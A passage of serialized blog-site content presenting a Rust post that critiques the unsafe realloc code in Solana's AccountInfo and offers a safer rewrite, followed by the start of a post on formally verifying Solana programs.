",{"type":25,"tag":264,"props":30786,"children":30788},{"className":30787},[],[30789],{"type":30,"value":27477},{"type":25,"tag":26,"props":30791,"children":30792},{},[30793,30795,30800,30802,30807,30809,30816],{"type":30,"value":30794},"Let's circle back to that main ",{"type":25,"tag":264,"props":30796,"children":30798},{"className":30797},[],[30799],{"type":30,"value":27477},{"type":30,"value":30801}," block inside ",{"type":25,"tag":264,"props":30803,"children":30805},{"className":30804},[],[30806],{"type":30,"value":26763},{"type":30,"value":30808}," for a bit, shall we? As a reminder, it looks like ",{"type":25,"tag":83,"props":30810,"children":30813},{"href":30811,"rel":30812},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[9066],[30814],{"type":30,"value":30815},"this",{"type":30,"value":359},{"type":25,"tag":7764,"props":30818,"children":30820},{"className":13586,"code":30819,"language":13585,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[30821],{"type":25,"tag":264,"props":30822,"children":30823},{"__ignoreMap":7},[30824,30832,30843,30851,30938,30969,30976,30984,31111,31142],{"type":25,"tag":271,"props":30825,"children":30826},{"class":13593,"line":13594},[30827],{"type":25,"tag":271,"props":30828,"children":30829},{"style":14385},[30830],{"type":30,"value":30831},"// realloc\n",{"type":25,"tag":271,"props":30833,"children":30834},{"class":13593,"line":11641},[30835,30839],{"type":25,"tag":271,"props":30836,"children":30837},{"style":14289},[30838],{"type":30,"value":27477},{"type":25,"tag":271,"props":30840,"children":30841},{"style":13625},[30842],{"type":30,"value":16431},{"type":25,"tag":271,"props":30844,"children":30845},{"class":13593,"line":14354},[30846],{"type":25,"tag":271,"props":30847,"children":30848},{"style":14385},[30849],{"type":30,"value":30850},"    // First set new length in the serialized data\n",{"type":25,"tag":271,"props":30852,"children":30853},{"class":13593,"line":14391},[30854,30858,30862,30866,30870,30874,30878,30882,30886,30890,30894,30898,30902,30906,30910,30914,30918,30922,30926,30930,30934],{"type":25,"tag":271,"props":30855,"children":30856},{"style":14289},[30857],{"type":30,"value":16140},{"type":25,"tag":271,"props":30859,"children":30860},{"style":13598},[30861],{"type":30,"value":26978},{"type":25,"tag":271,"props":30863,"children":30864},{"style":13603},[30865],{"type":30,"value":16155},{"type":25,"tag":271,"props":30867,"children":30868},{"style":14289},[30869],{"type":30,"value":26918},{"type":25,"tag":271,"props":30871,"children":30872},{"style":13603},[30873],{"type":30,"value":1860},{"type":25,"tag":271,"props":30875,"children":30876},{"style":13620},[30877],{"type":30,"value":26995},{"type":25,"tag":271,"props":30879,"children":30880},{"style":13625},[30881],{"type":30,"value":27000},{"type":25,"tag":271,"props":30883,"children":30884},{"style":13603},[30885],{"type":30,"value":16273},{"type":25,"tag":271,"props":30887,"children":30888},{"style":13620},[30889],{"type":30,"value":27009},{"type":25,"tag":271,"props":30891,"children":30892},{"style":13625},[30893],{"type":30,"value":27000},{"type":25,"tag":271,"props":30895,"children":30896},{"style":13603},[30897],{"type":30,"value":1860},{"type":25,"tag":271,"props":30899,"children":30900},{"style":13620},[30901],{"type":30,"value":27022},{"type":25,"tag":271,"props":30903,"children":30904},{"style":13625},[30905],{"type":30,"value":394},{"type":25,"tag":271,"props":30907,"children":30908},{"style":13603},[30909],{"type":30,"value":17459},{"type":25,"tag":271,"props":30911,"children":30912},{"style":16187},[30913],{"type":30,"value":17214},{"type":25,"tag":271,"props":30915,"children":30916},{"style":13625},[30917],{"type":30,"value":14406},{"type":25,"tag":271,"props":30919,"children":30920},{"style":14289},[30921],{"type":30,"value":21962},{"type":25,"tag":271,"props":30923,"children":30924},{"style":13603},[30925],{"type":30,"value":22940},{"type":25,"tag":271,"props":30927,"children":30928},{"style":14289},[30929],{"type":30,"value":16877},{"type":25,"tag":271,"props":30931,"children":30932},{"style":13609},[30933],{"type":30,"value":18991},{"type":25,"tag":271,"props":30935,"children":30936},{"style":13625},[30937],{"type":30,"value":16165},{"type":25,"tag":271,"props":30939,"children":30940},{"class":13593,"line":14400},[30941,30945,30949,30953,30957,30961,30965],{"type":25,"tag":271,"props":30942,"children":30943},{"style":13603},[30944],{"type":30,"value":30683},{"type":25,"tag":271,"props":30946,"children":30947},{"style":13598},[30948],{"type":30,"value":27070},{"type":25,"tag":271,"props":30950,"children":30951},{"style":13603},[30952],{"type":30,"value":16155},{"type":25,"tag":271,"props":30954,"children":30955},{"style":13598},[30956],{"type":30,"value":27079},{"type":25,"tag":271,"props":30958,"children":30959},{"style":14289},[30960],{"type":30,"value":21948},{"type":25,"tag":271,"props":30962,"children":30963},{"style":13609},[30964],{"type":30,"value":18991},{"type":25,"tag":271,"props":30966,"children":30967},{"style":13625},[30968],{"type":30,"value":16165},{"type":25,"tag":271,"props":30970,"children":30971},{"class":13593,"line":16406},[30972],{"type":25,"tag":271,"props":30973,"children":30974},{"emptyLinePlaceholder":18},[30975],{"type":30,"value":16829},{"type":25,"tag":271,"props":30977,"children":30978},{"class":13593,"line":16434},[30979],{"type":25,"tag":271,"props":30980,"children":30981},{"style":14385},[30982],{"type":30,"value":30983},"    // Then set the new length in the local slice\n",{"type":25,"tag":271,"props":30985,"children":30986},{"class":13593,"line":16447},[30987,30991,30995,30999,31003,31007,31011,31015,31019,31023,31027,31031,31035,31039,31043,31047,31051,31055,31059,31063,31067,31071,31075,31079,31083,31087,31091,31095,31099,31103,31107],{"type":25,"tag":271,"props":30988,"children":30989},{"style":14289},[30990],{"type":30,"value":16140},{"type":25,"tag":271,"props":30992,"children":30993},{"style":13598},[30994],{"type":30,"value":26978},{"type":25,"tag":271,"props":30996,"children":30997},{"style":13603},[30998],{"type":30,"value":16155},{"type":25,"tag":271,"props":31000,"children":31001},{"style":13603},[31002],{"type":30,"value":14341},{"type":25,"tag":271,"props":31004,"children":31005},{"style":14289},[31006],{"type":30,"value":16877},{"type":25,"tag":271,"props":31008,"children":31009},{"style":13603},[31010],{"type":30,"value":22940},{"type":25,"tag":271,"props":31012,"children":31013},{"style":13625},[31014],{"type":30,"value":27138},{"type":25,"tag":271,"props":31016,"children":31017},{"style":14289},[31018],{"type":30,"value":26836},{"type":25,"tag":271,"props":31020,"children":31021},{"style":13603},[31022],{"type":30,"value":1860},{"type":25,"tag":271,"props":31024,"children":31025},{"style":13625},[31026],{"type":30,"value":10346},{"type":25,"tag":271,"props":31028,"children":31029},{"style":13603},[31030],{"type":30,"value":1860},{"type":25,"tag":271,"props":31032,"children":31033},{"style":13620},[31034],{"type":30,"value":27159},{"type":25,"tag":271,"props":31036,"children":31037},{"style":13625},[31038],{"type":30,"value":27164},{"type":25,"tag":271,"props":31040,"children":31041},{"style":14289},[31042],{"type":30,"value":21962},{"type":25,"tag":271,"props":31044,"children":31045},{"style":13603},[31046],{"type":30,"value":22940},{"type":25,"tag":271,"props":31048,"children":31049},{"style":14289},[31050],{"type":30,"value":22778},{"type":25,"tag":271,"props":31052,"children":31053},{"style":13609},[31054],{"type":30,"value":18991},{"type":25,"tag":271,"props":31056,"children":31057},{"style":13625},[31058],{"type":30,"value":440},{"type":25,"tag":271,"props":31060,"children":31061},{"style":13603},[31062],{"type":30,"value":1860},{"type":25,"tag":271,"props":31064,"children":31065},{"style":13620},[31066],{"type":30,"value":27022},{"type":25,"tag":271,"props":31068,"children":31069},{"style":13625},[31070],{"type":30,"value":394},{"type":25,"tag":271,"props":31072,"children":31073},{"style":16187},[31074],{"type":30,"value":968},{"type":25,"tag":271,"props":31076,"children":31077},{"style":13625},[31078],{"type":30,"value":14406},{"type":25,"tag":271,"props":31080,"children":31081},{"style":14289},[31082],{"type":30,"value":21962},{"type":25,"tag":271,"props":31084,"children":31085},{"style":13609},[31086],{"type":30,"value":18991},{"type":25,"tag":271,"props":31088,"children":31089},{"style":13625},[31090],{"type":30,"value":14406},{"type":25,"tag":271,"props":31092,"children":31093},{"style":14289},[31094],{"type":30,"value":21962},{"type":25,"tag":271,"props":31096,"children":31097},{"style":13603},[31098],{"type":30,"value":22940},{"type":25,"tag":271,"props":31100,"children":31101},{"style":14289},[31102],{"type":30,"value":16877},{"type":25,"tag":271,"props":31104,"children":31105},{"style":13609},[31106],{"type":30,"value":18991},{"type":25,"tag":271,"props":31108,"children":31109},{"style":13625},[31110],{"type":30,"value":13665},{"type":25,"tag":271,"props":31112,"children":31113},{"class":13593,"line":16465},[31114,31118,31122,31126,31130,31134,31138],{"type":25,"tag":271,"props":31115,"children":31116},{"style":13603},[31117],{"type":30,"value":30683},{"type":25,"tag":271,"props":31119,"children":31120},{"style":13598},[31121],{"type":30,"value":27070},{"type":25,"tag":271,"props":31123,"children":31124},{"style":13603},[31125],{"type":30,"value":16155},{"type":25,"tag":271,"props":31127,"children":31128},{"style":13598},[31129],{"type":30,"value":27079},{"type":25,"tag":271,"props":31131,"children":31132},{"style":14289},[31133],{"type":30,"value":21948},{"type":25,"tag":271,"props":31135,"children":31136},{"style":13609},[31137],{"type":30,"value":18991},{"type":25,"tag":271,"props":31139,"children":31140},{"style":13625},[31141],{"type":30,"value":16165},{"type":25,"tag":271,"props":31143,"children":31144},{"class":13593,"line":16486},[31145],{"type":25,"tag":271,"props":31146,"children":31147},{"style":13625},[31148],{"type":30,"value":17058},{"type":25,"tag":26,"props":31150,"children":31151},{},[31152,31154,31159],{"type":30,"value":31153},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":25,"tag":264,"props":31155,"children":31157},{"className":31156},[],[31158],{"type":30,"value":28625},{"type":30,"value":31160}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":25,"tag":26,"props":31162,"children":31163},{},[31164,31166,31171,31173,31178,31180,31185,31187,31192,31194,31199,31201,31207,31209,31219,31221,31232],{"type":30,"value":31165},"First, let's deal with the ",{"type":25,"tag":264,"props":31167,"children":31169},{"className":31168},[],[31170],{"type":30,"value":28625},{"type":30,"value":31172}," borrowing issue. When we ",{"type":25,"tag":264,"props":31174,"children":31176},{"className":31175},[],[31177],{"type":30,"value":26995},{"type":30,"value":31179},", we get a ",{"type":25,"tag":264,"props":31181,"children":31183},{"className":31182},[],[31184],{"type":30,"value":29863},{"type":30,"value":31186}," back, which represents our borrow of the ",{"type":25,"tag":264,"props":31188,"children":31190},{"className":31189},[],[31191],{"type":30,"value":28625},{"type":30,"value":31193},"'s data. The fix here is simple: keep that ",{"type":25,"tag":264,"props":31195,"children":31197},{"className":31196},[],[31198],{"type":30,"value":29863},{"type":30,"value":31200}," around and use it to access the data, instead of using ",{"type":25,"tag":264,"props":31202,"children":31204},{"className":31203},[],[31205],{"type":30,"value":31206},"RefCell::as_ptr",{"type":30,"value":31208},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":25,"tag":28595,"props":31210,"children":31211},{},[31212],{"type":25,"tag":83,"props":31213,"children":31217},{"href":31214,"ariaDescribedBy":31215,"dataFootnoteRef":7,"id":31216},"#user-content-fn-rustc-llvm",[28602],"user-content-fnref-rustc-llvm",[31218],{"type":30,"value":30650},{"type":30,"value":31220}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":25,"tag":28595,"props":31222,"children":31223},{},[31224],{"type":25,"tag":83,"props":31225,"children":31229},{"href":31226,"ariaDescribedBy":31227,"dataFootnoteRef":7,"id":31228},"#user-content-fn-godbolt",[28602],"user-content-fnref-godbolt",[31230],{"type":30,"value":31231},"5",{"type":30,"value":31233},". So then we get:",{"type":25,"tag":7764,"props":31235,"children":31237},{"className":13586,"code":31236,"language":13585,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[31238],{"type":25,"tag":264,"props":31239,"children":31240},{"__ignoreMap":7},[31241,31284,31291,31298,31382,31422,31429,31436],{"type":25,"tag":271,"props":31242,"children":31243},{"class":13593,"line":13594},[31244,31248,31252,31256,31260,31264,31268,31272,31276,31280],{"type":25,"tag":271,"props":31245,"children":31246},{"style":14289},[31247],{"type":30,"value":24912},{"type":25,"tag":271,"props":31249,"children":31250},{"style":14289},[31251],{"type":30,"value":16145},{"type":25,"tag":271,"props":31253,"children":31254},{"style":13598},[31255],{"type":30,"value":14550},{"type":25,"tag":271,"props":31257,"children":31258},{"style":13603},[31259],{"type":30,"value":16155},{"type":25,"tag":271,"props":31261,"children":31262},{"style":14289},[31263],{"type":30,"value":26918},{"type":25,"tag":271,"props":31265,"children":31266},{"style":13603},[31267],{"type":30,"value":1860},{"type":25,"tag":271,"props":31269,"children":31270},{"style":13620},[31271],{"type":30,"value":26995},{"type":25,"tag":271,"props":31273,"children":31274},{"style":13625},[31275],{"type":30,"value":27000},{"type":25,"tag":271,"props":31277,"children":31278},{"style":13603},[31279],{"type":30,"value":5632},{"type":25,"tag":271,"props":31281,"children":31282},{"style":13625},[31283],{"type":30,"value":16165},{"type":25,"tag":271,"props":31285,"children":31286},{"class":13593,"line":11641},[31287],{"type":25,"tag":271,"props":31288,"children":31289},{"emptyLinePlaceholder":18},[31290],{"type":30,"value":16829},{"type":25,"tag":271,"props":31292,"children":31293},{"class":13593,"line":14354},[31294],{"type":25,"tag":271,"props":31295,"children":31296},{"style":14385},[31297],{"type":30,"value":27524},{"type":25,"tag":271,"props":31299,"children":31300},{"class":13593,"line":14391},[31301,31305,31309,31313,31317,31321,31325,31329,31333,31337,31341,31345,31349,31353,31357,31362,31366,31370,31374,31378],{"type":25,"tag":271,"props":31302,"children":31303},{"style":14289},[31304],{"type":30,"value":24912},{"type":25,"tag":271,"props":31306,"children":31307},{"style":13598},[31308],{"type":30,"value":26978},{"type":25,"tag":271,"props":31310,"children":31311},{"style":13603},[31312],{"type":30,"value":16155},{"type":25,"tag":271,"props":31314,"children":31315},{"style":14289},[31316],{"type":30,"value":27711},{"type":25,"tag":271,"props":31318,"children":31319},{"style":13625},[31320],{"type":30,"value":22709},{"type":25,"tag":271,"props":31322,"children":31323},{"style":13598},[31324],{"type":30,"value":28435},{"type":25,"tag":271,"props":31326,"children":31327},{"style":13603},[31328],{"type":30,"value":1860},{"type":25,"tag":271,"props":31330,"children":31331},{"style":13620},[31332],{"type":30,"value":27009},{"type":25,"tag":271,"props":31334,"children":31335},{"style":13625},[31336],{"type":30,"value":27000},{"type":25,"tag":271,"props":31338,"children":31339},{"style":13603},[31340],{"type":30,"value":1860},{"type":25,"tag":271,"props":31342,"children":31343},{"style":13620},[31344],{"type":30,"value":27022},{"type":25,"tag":271,"props":31346,"children":31347},{"style":13625},[31348],{"type":30,"value":394},{"type":25,"tag":271,"props":31350,"children":31351},{"style":13603},[31352],{"type":30,"value":17459},{"type":25,"tag":271,"props":31354,"children":31355},{"style":16187},[31356],{"type":30,"value":17214},{"type":25,"tag":271,"props":31358,"children":31359},{"style":13625},[31360],{"type":30,"value":31361},") } ",{"type":25,"tag":271,"props":31363,"children":31364},{"style":14289},[31365],{"type":30,"value":21962},{"type":25,"tag":271,"props":31367,"children":31368},{"style":13603},[31369],{"type":30,"value":22940},{"type":25,"tag":271,"props":31371,"children":31372},{"style":14289},[31373],{"type":30,"value":16877},{"type":25,"tag":271,"props":31375,"children":31376},{"style":13609},[31377],{"type":30,"value":18991},{"type":25,"tag":271,"props":31379,"children":31380},{"style":13625},[31381],{"type":30,"value":16165},{"type":25,"tag":271,"props":31383,"children":31384},{"class":13593,"line":14400},[31385,31389,31393,31397,31401,31405,31409,31413,31417],{"type":25,"tag":271,"props":31386,"children":31387},{"style":14289},[31388],{"type":30,"value":27477},{"type":25,"tag":271,"props":31390,"children":31391},{"style":13625},[31392],{"type":30,"value":22709},{"type":25,"tag":271,"props":31394,"children":31395},{"style":13603},[31396],{"type":30,"value":17702},{"type":25,"tag":271,"props":31398,"children":31399},{"style":13598},[31400],{"type":30,"value":27070},{"type":25,"tag":271,"props":31402,"children":31403},{"style":13603},[31404],{"type":30,"value":16155},{"type":25,"tag":271,"props":31406,"children":31407},{"style":13598},[31408],{"type":30,"value":27079},{"type":25,"tag":271,"props":31410,"children":31411},{"style":14289},[31412],{"type":30,"value":21948},{"type":25,"tag":271,"props":31414,"children":31415},{"style":13609},[31416],{"type":30,"value":18991},{"type":25,"tag":271,"props":31418,"children":31419},{"style":13625},[31420],{"type":30,"value":31421}," };\n",{"type":25,"tag":271,"props":31423,"children":31424},{"class":13593,"line":16406},[31425],{"type":25,"tag":271,"props":31426,"children":31427},{"emptyLinePlaceholder":18},[31428],{"type":30,"value":16829},{"type":25,"tag":271,"props":31430,"children":31431},{"class":13593,"line":16434},[31432],{"type":25,"tag":271,"props":31433,"children":31434},{"style":14385},[31435],{"type":30,"value":29262},{"type":25,"tag":271,"props":31437,"children":31438},{"class":13593,"line":16447},[31439,31443,31447,31451,31455,31460,31464,31468,31472,31477,31481,31485,31489,31493,31498,31502],{"type":25,"tag":271,"props":31440,"children":31441},{"style":13603},[31442],{"type":30,"value":17702},{"type":25,"tag":271,"props":31444,"children":31445},{"style":13598},[31446],{"type":30,"value":28435},{"type":25,"tag":271,"props":31448,"children":31449},{"style":13603},[31450],{"type":30,"value":16155},{"type":25,"tag":271,"props":31452,"children":31453},{"style":14289},[31454],{"type":30,"value":27711},{"type":25,"tag":271,"props":31456,"children":31457},{"style":13625},[31458],{"type":30,"value":31459}," { std",{"type":25,"tag":271,"props":31461,"children":31462},{"style":13603},[31463],{"type":30,"value":13617},{"type":25,"tag":271,"props":31465,"children":31466},{"style":13625},[31467],{"type":30,"value":28435},{"type":25,"tag":271,"props":31469,"children":31470},{"style":13603},[31471],{"type":30,"value":13617},{"type":25,"tag":271,"props":31473,"children":31474},{"style":13620},[31475],{"type":30,"value":31476},"from_raw_parts_mut",{"type":25,"tag":271,"props":31478,"children":31479},{"style":13625},[31480],{"type":30,"value":394},{"type":25,"tag":271,"props":31482,"children":31483},{"style":13598},[31484],{"type":30,"value":28435},{"type":25,"tag":271,"props":31486,"children":31487},{"style":13603},[31488],{"type":30,"value":1860},{"type":25,"tag":271,"props":31490,"children":31491},{"style":13620},[31492],{"type":30,"value":27009},{"type":25,"tag":271,"props":31494,"children":31495},{"style":13625},[31496],{"type":30,"value":31497},"(), ",{"type":25,"tag":271,"props":31499,"children":31500},{"style":13598},[31501],{"type":30,"value":26845},{"type":25,"tag":271,"props":31503,"children":31504},{"style":13625},[31505],{"type":30,"value":27866},{"type":25,"tag":26,"props":31507,"children":31508},{},[31509,31511,31516,31518,31523,31525,31530,31532],{"type":30,"value":31510},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":25,"tag":264,"props":31512,"children":31514},{"className":31513},[],[31515],{"type":30,"value":21164},{"type":30,"value":31517}," and not a ",{"type":25,"tag":264,"props":31519,"children":31521},{"className":31520},[],[31522],{"type":30,"value":29724},{"type":30,"value":31524}," for the size field, given that ",{"type":25,"tag":264,"props":31526,"children":31528},{"className":31527},[],[31529],{"type":30,"value":29724},{"type":30,"value":31531}," is architecture-dependent), and no dependency on slice reference internals!",{"type":25,"tag":28595,"props":31533,"children":31534},{},[31535],{"type":25,"tag":83,"props":31536,"children":31540},{"href":31537,"ariaDescribedBy":31538,"dataFootnoteRef":7,"id":31539},"#user-content-fn-slice-unbound-lifetime",[28602],"user-content-fnref-slice-unbound-lifetime",[31541],{"type":30,"value":31542},"6",{"type":25,"tag":31544,"props":31545,"children":31548},"section",{"className":31546,"dataFootnotes":7},[31547],"footnotes",[31549,31556],{"type":25,"tag":96,"props":31550,"children":31553},{"className":31551,"id":28602},[31552],"sr-only",[31554],{"type":30,"value":31555},"Footnotes",{"type":25,"tag":661,"props":31557,"children":31558},{},[31559,31663,31681,31736,31749,31777],{"type":25,"tag":112,"props":31560,"children":31562},{"id":31561},"user-content-fn-rc-refs",[31563,31565,31571,31573,31578,31580,31584,31586,31590,31592,31597,31599,31605,31607,31611,31613,31623,31625,31630,31632,31637,31639,31644,31646,31652,31654],{"type":30,"value":31564},"I find it helpful to view owning an ",{"type":25,"tag":264,"props":31566,"children":31568},{"className":31567},[],[31569],{"type":30,"value":31570},"Rc\u003CT>",{"type":30,"value":31572}," as holding a shared reference to the underlying ",{"type":25,"tag":264,"props":31574,"children":31576},{"className":31575},[],[31577],{"type":30,"value":301},{"type":30,"value":31579}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":25,"tag":10281,"props":31581,"children":31582},{},[31583],{"type":30,"value":29580},{"type":30,"value":31585}," ensures that the actual ",{"type":25,"tag":10281,"props":31587,"children":31588},{},[31589],{"type":30,"value":10346},{"type":30,"value":31591}," stays alive, however all you have is a reference to the ",{"type":25,"tag":264,"props":31593,"children":31595},{"className":31594},[],[31596],{"type":30,"value":301},{"type":30,"value":31598}," (through the ",{"type":25,"tag":264,"props":31600,"children":31602},{"className":31601},[],[31603],{"type":30,"value":31604},"Deref\u003CTarget = T>",{"type":30,"value":31606}," impl) - ",{"type":25,"tag":10281,"props":31608,"children":31609},{},[31610],{"type":30,"value":607},{"type":30,"value":31612}," ownership ",{"type":25,"tag":10281,"props":31614,"children":31615},{},[31616,31618],{"type":30,"value":31617},"of the ",{"type":25,"tag":264,"props":31619,"children":31621},{"className":31620},[],[31622],{"type":30,"value":301},{"type":30,"value":31624},". In short, owning an ",{"type":25,"tag":264,"props":31626,"children":31628},{"className":31627},[],[31629],{"type":30,"value":31570},{"type":30,"value":31631}," is owning a (shared, read-only) reference to ",{"type":25,"tag":264,"props":31633,"children":31635},{"className":31634},[],[31636],{"type":30,"value":301},{"type":30,"value":31638},", not owning ",{"type":25,"tag":264,"props":31640,"children":31642},{"className":31641},[],[31643],{"type":30,"value":301},{"type":30,"value":31645}," directly like with ",{"type":25,"tag":264,"props":31647,"children":31649},{"className":31648},[],[31650],{"type":30,"value":31651},"Box\u003CT>",{"type":30,"value":31653},". ",{"type":25,"tag":83,"props":31655,"children":31660},{"href":31656,"ariaLabel":31657,"className":31658,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[31659],"data-footnote-backref",[31661],{"type":30,"value":31662},"↩",{"type":25,"tag":112,"props":31664,"children":31666},{"id":31665},"user-content-fn-sendsync",[31667,31673,31674],{"type":25,"tag":264,"props":31668,"children":31670},{"className":31669},[],[31671],{"type":30,"value":31672},"!Send + !Sync",{"type":30,"value":14096},{"type":25,"tag":83,"props":31675,"children":31679},{"href":31676,"ariaLabel":31677,"className":31678,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[31659],[31680],{"type":30,"value":31662},{"type":25,"tag":112,"props":31682,"children":31684},{"id":31683},"user-content-fn-layout",[31685,31687,31692,31693,31706,31708,31713,31715,31720,31722,31727,31729],{"type":30,"value":31686},"Note that this is a terrible idea for yet another reason: ",{"type":25,"tag":264,"props":31688,"children":31690},{"className":31689},[],[31691],{"type":30,"value":28060},{"type":30,"value":18632},{"type":25,"tag":83,"props":31694,"children":31697},{"href":31695,"rel":31696},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[9066],[31698,31700],{"type":30,"value":31699},"not declared with ",{"type":25,"tag":264,"props":31701,"children":31703},{"className":31702},[],[31704],{"type":30,"value":31705},"#[repr(C)]",{"type":30,"value":31707},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":25,"tag":10281,"props":31709,"children":31710},{},[31711],{"type":30,"value":31712},"breaks the entire chain",{"type":30,"value":31714}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":25,"tag":10281,"props":31716,"children":31717},{},[31718],{"type":30,"value":31719},"some",{"type":30,"value":31721}," kind of interface to the specific layout of the specific ",{"type":25,"tag":264,"props":31723,"children":31725},{"className":31724},[],[31726],{"type":30,"value":29632},{"type":30,"value":31728}," versions used to build on-chain code for all eternity... ",{"type":25,"tag":83,"props":31730,"children":31734},{"href":31731,"ariaLabel":31732,"className":31733,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[31659],[31735],{"type":30,"value":31662},{"type":25,"tag":112,"props":31737,"children":31739},{"id":31738},"user-content-fn-rustc-llvm",[31740,31742],{"type":30,"value":31741},"Actually, it's LLVM that does the optimization ",{"type":25,"tag":83,"props":31743,"children":31747},{"href":31744,"ariaLabel":31745,"className":31746,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[31659],[31748],{"type":30,"value":31662},{"type":25,"tag":112,"props":31750,"children":31752},{"id":31751},"user-content-fn-godbolt",[31753,31760,31762,31768,31770],{"type":25,"tag":83,"props":31754,"children":31757},{"href":31755,"rel":31756},"https://godbolt.org/z/PK46xMbxc",[9066],[31758],{"type":30,"value":31759},"Click here",{"type":30,"value":31761}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":25,"tag":264,"props":31763,"children":31765},{"className":31764},[],[31766],{"type":30,"value":31767},"libcore",{"type":30,"value":31769}," available for other architectures yet. ",{"type":25,"tag":83,"props":31771,"children":31775},{"href":31772,"ariaLabel":31773,"className":31774,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[31659],[31776],{"type":30,"value":31662},{"type":25,"tag":112,"props":31778,"children":31780},{"id":31779},"user-content-fn-slice-unbound-lifetime",[31781,31783,31788,31790,31796,31798,31804,31806,31812,31814,31820,31822,31828,31830,31835,31837],{"type":30,"value":31782},"The astute reader may have noticed that ",{"type":25,"tag":264,"props":31784,"children":31786},{"className":31785},[],[31787],{"type":30,"value":31476},{"type":30,"value":31789}," still returns an unbounded lifetime (notice in the signature ",{"type":25,"tag":264,"props":31791,"children":31793},{"className":31792},[],[31794],{"type":30,"value":31795},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":30,"value":31797},", the lifetime parameter ",{"type":25,"tag":264,"props":31799,"children":31801},{"className":31800},[],[31802],{"type":30,"value":31803},"'a",{"type":30,"value":31805}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":25,"tag":264,"props":31807,"children":31809},{"className":31808},[],[31810],{"type":30,"value":31811},"*slice",{"type":30,"value":31813},", which is ",{"type":25,"tag":264,"props":31815,"children":31817},{"className":31816},[],[31818],{"type":30,"value":31819},"&'info [u8]",{"type":30,"value":31821}," (where ",{"type":25,"tag":264,"props":31823,"children":31825},{"className":31824},[],[31826],{"type":30,"value":31827},"'info",{"type":30,"value":31829}," is the lifetime parameter of the ",{"type":25,"tag":264,"props":31831,"children":31833},{"className":31832},[],[31834],{"type":30,"value":28060},{"type":30,"value":31836}," struct) - this is exactly the lifetime we started with. ",{"type":25,"tag":83,"props":31838,"children":31842},{"href":31839,"ariaLabel":31840,"className":31841,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[31659],[31843],{"type":30,"value":31662},{"type":25,"tag":15963,"props":31845,"children":31846},{},[31847],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":31849},[31850,31856,31860,31861,31863],{"id":27489,"depth":11641,"text":31851,"children":31852},"Breaking down realloc",[31853,31854],{"id":27655,"depth":14354,"text":27658},{"id":29014,"depth":14354,"text":31855},"Back to realloc",{"id":29965,"depth":11641,"text":29968,"children":31857},[31858,31859],{"id":29971,"depth":14354,"text":29974},{"id":30193,"depth":14354,"text":30196},{"id":30380,"depth":11641,"text":30383},{"id":30781,"depth":11641,"text":31862},"Towards safer unsafe",{"id":28602,"depth":11641,"text":31555},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":31868,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":31869,"description":31870,"author":31871,"image":31872,"date":31874,"isFeatured":18,"onBlogPage":18,"tags":31875,"body":31876,"_type":16004,"_id":42111,"_source":16006,"_file":42112,"_stem":42113,"_extension":16009},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":31873,"height":26748,"width":17},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[16021,16022],{"type":22,"children":31877,"toc":42083},[31878,31883,31888,31914,31917,31929,31952,31975,31987,32010,32013,32019,32069,32075,32081,32086,32097,32138,32143,32149,32154,32387,32406,32411,32416,32489,32494,32564,32578,33003,33023,33029,33048,33053,33058,33063,33069,33081,33116,33127,33138,33150,33155,33186,33210,33229,33235,33252,33258,33285,33290,33310,33322,33468,33496,33499,33511,33594,33613,33616,33655,33822,33827,33833,33845,33863,33876,34037,34049,34062,34536,34541,34588,34594,34612,34681,34900,35114,35119,35193,35240,35245,35251,35353,35456,35461,35524,35529,35535,35600,35605,35647,35673,35679,35748,35753,35803,35814,35820,35831,35852,35857,35862,35885,35891,35903,35923,37038,37056,37107,37112,37120,37132,37137,37145,37150,37166,37202,37207,37301,37306,37314,37319,37431,37436,37444,37457,37621,37626,37634,37639,37644,37712,37746,37752,37757,37768,37786,38164,38176,38188,38196,38207,38238,38243,38251,38256,38529,38548,38553,38579,39447,39459,39558,39570,39612,39617,39629,39637,396